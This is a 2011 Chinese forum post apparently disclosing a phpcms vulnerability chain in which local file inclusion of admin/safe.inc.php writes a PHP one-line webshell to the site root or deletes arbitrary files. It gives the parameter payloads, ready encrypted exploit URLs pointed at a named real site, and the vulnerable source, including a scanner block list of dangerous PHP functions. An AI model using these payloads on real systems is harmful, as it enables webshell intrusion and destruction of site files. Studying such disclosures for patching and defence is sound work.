oma 发表于 2011-12-20 09:47

phpcms本地包含漏洞导致的写shell漏洞和删除任意文件漏洞

<DIV><FONT size=2>这年头发个bug伤不起啊,厂商忽略,被人当成装X,有木有,心情不爽啊不管这么多了。</FONT>
<P>phpcms本地包含拿shell的方法,这篇文章接上一个</P>
<P>《phpcms的phpcms_auth导致的任意变量覆盖漏洞、本地文件包含漏洞和任意文件下载漏洞》</P>
<P>phpcms本地包含类漏洞,如果该文件包含了/include/common.inc.php就可以包含执行很多后台才能执行的文件了。</P>
<P>由于phpcms的全局变量机制,导致能拿shell的方法很多,类似的问题不止一个。</P>
<P>admin/safe.inc.php文件是后台扫木马的程序,但是很可惜的是虽然文件名叫做safe,但是一点也不safe。</P>
<P>公布一个本地包含秒杀拿shell的方法。</P>
<P>包含:admin/safe.inc.php文件GET提交一下数据</P>
<P>将在根目录下生成一句话<BR>用上一篇得到的密钥$key=’sIpeofogblFVCildZEwe’;<BR>加密如下字符串<BR>$evil=’i=1&amp;m=1&amp;f=fuck&amp;action=edit_code&amp;file_path=evil.php&amp;code=&lt;?eval($_POST)?&gt;&amp;mod=../../admin/safe.inc.php%00′;</P>
<P>http://www.heimian.com/n/phpcms/play.php?a_k=GnRBQwJbXkEEUSAjIAJKBTkxHgoddBUBBhIwBA0II3AlAAABBTUWERt0FRMGCkEXChx</P>
<P>gNSwNCVlmehITEiVYQTA2IDQ2NycLalZSQjcqE1hdZ19LQUkOAw8FKHkwCAoBdCwZBl05GBVKVl8=</P>
<P>将在根目录下生成一句话木马</P>
<P>同理任意文件删除漏洞:<BR>$evil=’i=1&amp;m=1&amp;f=fuck&amp;action=del_file&amp;files=robots.txt&amp;mod=../../admin/safe.inc.php%00′;</P>
<P>http://www.heimian.com/n/phpcms/play.php?a_k=GnRBQwJbXkEEUSAjIAJKBTkxHgoddBQAAzkJDg4JYDAqBQkXZzcYBxw9A0sbHhtB</P>
<P>DwMia21HQ0p0ahYBHiAeShwHCQJMBSg1bRkEFH91Rw==</P>
<P><BR>贴上存在漏洞的代码<BR>//admin/safe.inc.php<BR>&lt;?php<BR>defined(‘IN_PHPCMS’) or exit(‘Access Denied’);<BR>// include/common.inc.php 里面声明了常量<BR>// define(‘IN_PHPCMS’, TRUE);</P>
<P>if(empty($action)) $action = “start”;<BR>$safe = cache_read(‘safe.php’);<BR>$filecheck = load(‘filecheck.class.php’);<BR>if(empty($safe))<BR>{<BR>$safe = array (<BR>‘file_type’ =&gt; ‘php|js’,<BR>‘code’ =&gt; ”,<BR>‘func’ =&gt; ‘com|system|exec|eval|escapeshell|cmd|passthru|base64_decode|gzuncompress’,<BR>‘dir’ =&gt; $filecheck-&gt;checked_dirs()<BR>);<BR>}<BR>switch ($action)<BR>{<BR>…<BR>case ‘edit_code’:<BR>if (file_put_contents(PHPCMS_ROOT.$file_path, stripcslashes($code)))<BR>{<BR>showmessage(‘修改成功!’);<BR>}<BR>break;</P>
<P>case ‘del_file’:<BR>$file_path = urldecode($files);</P>
<P>if (empty($file_path))<BR>{<BR>showmessage(‘请选择文件’);<BR>}<BR>$file_list = cache_read(‘scan_backdoor.php’);<BR>unset($file_list[$file_path]);<BR>cache_write(‘scan_backdoor.php’,$file_list);<BR>@unlink(PHPCMS_ROOT.$file_path);<BR>showmessage(‘文件删除成功!’, ‘?mod=phpcms&amp;file=safe&amp;action=scan_table’);<BR>break;<BR>…</P></DIV>
<DIV></DIV>
页: [1]
查看完整版本: phpcms本地包含漏洞导致的写shell漏洞和删除任意文件漏洞